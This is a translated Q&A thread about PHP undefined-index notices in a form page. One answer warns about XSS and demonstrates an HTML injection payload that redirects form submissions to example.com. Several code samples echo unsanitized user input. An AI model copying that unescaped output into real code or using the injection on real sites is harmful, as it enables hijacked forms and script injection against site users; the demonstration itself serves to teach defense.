测试时PHP中的未定义索引错误

时间:2013-10-26 14:44:06

标签: php

我有一个小问题。当我使用这段代码时:

<!DOCTYPE HTML>

<html>
    <head>
        <title>Declare Nerf War!</title>
    </head>
    <body>
        <?php
        $form="<center><form action='decwargen.php' method='POST'>
            Your Name: <input type='text' name='yname' placeholder='John Doe'><br>
            Opponent's Name: <input type='text' name='oname' placeholder='Jane Doe'><br>
            Why? <input type='text' name='why' placeholder='for stealing my stuff'><br>
            Date of war: <input type='text' name='dwar' placeholder='10/11/13'><br>
            Time of war: <input type='text' name='twar' placeholder='10:56 PM'><br>
            Created on: <input type='text name='crtd' placeholder='10/10/13'><br>
            <input type='submit' name='subbut' value='Submit'></center>
        </form>";
        $ok = $_POST ['subbut'];
        if($ok){
            $yname = $_POST ['yname'];
            $oname = $_POST ['oname'];
            $why = $_POST ['why'];
            $dwar = $_POST ['dwar'];
            $twar = $_POST ['twar'];
            $created = $_POST ['crtd'];
            echo("<center><h1>Declaration of war</h1><br><p contenteditable='true'>I, " . $yname . " declare war on " . $oname . " for/because " . $why . ". This will happen on " . $dwar . " at " . $twar . ".<br>Created on" . $created);
        } else echo($form);
        ?>
    </body>
</html>

网络浏览器说:

  

注意:未定义的索引:subbut在第17行的/Applications/MAMP/htdocs/decwargen.php中

当我第一次去页面时,那么

  

注意:未定义索引:第24行/Applications/MAMP/htdocs/decwargen.php中的crtd

我输入数据时有人可以帮忙吗?

4 个答案:

答案 0 :(得分:3)

更改您的

 <input type='text name='crtd' placeholder='10/10/13'>
          -------^ quote not closed properly

<input type='text' name='crtd' placeholder='10/10/13'>

从您最近的问题编辑中,还进行以下更改:

替换

$ok = $_POST ['subbut'];
        if($ok){

if(isset($_POST ['subbut']))
        {

答案 1 :(得分:1)

作为附加的安全提示,切勿在未消毒的情况下打印任何东西。

-编辑-

编写任何可以接受用户提交的内容的代码时,您需要记住,用户内容永远不可信任。恶意用户可以提交特制数据,使他们可以访问您的应用程序,最终用户的计算机或更多其他内容。

减少(或控制)威胁的一种方法是执行以下操作:

  1. 验证数据:确保数据类型与您期望的字段(数字,文本,电子邮件等)相匹配。
  2. 清理数据:执行一些清除操作以删除数据中包含的不良内容。
  3. 验证表单的合法性(可选,但建议使用):如果适用,请确保代码是由您的网站真正生成的表单提交的,并在可能的情况下使用CAPTCHA阻止自动提交内容。
  4. 转义数据:显示数据或将其传递到其他系统(数据库,api调用等)时,请确保转义所接收的数据,以免在这些系统之后对数据没有负面影响。

您可以通过简单的Google搜索获得有关执行这些操作的更多信息,以及更多信息。您还可以查看PHP Sanitize filters

现在回到原始问题中使用的实际代码。

我已自由地在战争宣言下方打印该表格,以便您可以根据需要宣布更多战争。

代码如下所示...

<!DOCTYPE HTML>

<html>
    <head>
        <title>Declare Nerf War!</title>
    </head>
    <body>
        <?php
        $form="<center><form action='decwargen.php' method='POST'>
            Your Name: <input type='text' name='yname' placeholder='John Doe'><br>
            Opponent's Name: <input type='text' name='oname' placeholder='Jane Doe'><br>
            Why? <input type='text' name='why' placeholder='for stealing my stuff'><br>
            Date of war: <input type='text' name='dwar' placeholder='10/11/13'><br>
            Time of war: <input type='text' name='twar' placeholder='10:56 PM'><br>
            Created on: <input type='text' name='crtd' placeholder='10/10/13'><br>
            <input type='submit' name='subbut' value='Submit'></center>
        </form>";
        $ok = $_POST['subbut'] ?? false;
        if($ok){
            $yname = $_POST['yname'];
            $oname = $_POST['oname'];
            $why = $_POST['why'];
            $dwar = $_POST['dwar'];
            $twar = $_POST['twar'];
            $created = $_POST['crtd'];
            echo "<center><h1>Declaration of war</h1><br><p contenteditable='true'>I, " . $yname . " declare war on " . $oname . " for/because " . $why . ". This will happen on " . $dwar . " at " . $twar . ".<br>Created on " . $created;
        };
        ?>
        <hr>
        <?php echo $form; ?>
    </body>
</html>

我意识到这个问题最初是在2013年提出的。不过,我将使用更现代的PHP功能解决Notice: Undefined index: subbut ...

我将替换...

<?php
$ok = $_POST ['subbut'];

有...

<?php
$ok = $_POST['subbut'] ?? false;

您可以在http://php.net/manual/en/language.operators.comparison.php#example-105处找到有关新的PHP Null合并运算符(猫王运算符??)的更多信息

提交和宣战时,您将具有类似于下图的内容...

enter image description here

HTML注入

现在,您将看到当有人在页面上执行简单的HTML注入时表单会发生什么情况。

我将提交John Doe</form><form action="http://example.com" target="_blank"><input value="You got hacked">

,而不是提交姓名为John Doe的名字。

结果在下图可见...

enter image description here

如果您尝试提交其他声明,则会注意到该表单将被提交到example.com域。那是因为:

  1. 如果提交的值打印在表单中,则</form>标记将尝试关闭当前表单。如果没有要关闭的表单,则该标签将无效,浏览器将忽略它。
  2. 然后,我的新表格是使用<form action="http://example.com" target="_blank">添加的。浏览器通常会拒绝嵌套的表单标签。因此,我的表单将通过使其开始标记无效来代替下一个表单。

有人可以说原始的例子不是在打印表格。当然。但这并没有改变我要传达的内容。

我可以创建一个标签,而不是创建一个表单,该标签将加载一个精致的Javascript应用程序,该应用程序然后将在您的站点的域中运行,并使用Javascript可以做任何事情。我还可以添加一个iframe或其他内容。

最重要的是,请勿使用或直接打印提交给脚本的任何内容。哎呀,您甚至不能信任来自您自己的数据库的内容,因为您不知道它是否已被其他人更改。您仍然需要执行一些清理工作,以使用数据来防御XSS和CSRF。

答案 2 :(得分:0)

首次进入该页面时     $ _ POST [ 'subbut'] 不存在。它仅在表单发布后才存在。为了避免这种情况,您需要使用isset。例如,使用以下代码

if(isset($_POST ['subbut'])){
        $yname = $_POST ['yname'];
        $oname = $_POST ['oname'];
        $why = $_POST ['why'];
        $dwar = $_POST ['dwar'];
        $twar = $_POST ['twar'];
        $created = $_POST ['crtd'];
        echo("<center><h1>Declaration of war</h1><br><p contenteditable='true'>I, " . $yname . " declare war on " . $oname . " for/because " . $why . ". This will happen on " . $dwar . " at " . $twar . ".<br>Created on" . $created);
    } else echo($form);

同时更改此行

Created on: <input type='text name='crtd' placeholder='10/10/13'><br>

到这个

Created on: <input type='text' name='crtd' placeholder='10/10/13'><br>

答案 3 :(得分:0)

你有一个引用错误。尝试改变

type='text name='crtd'

type='text' name='crtd'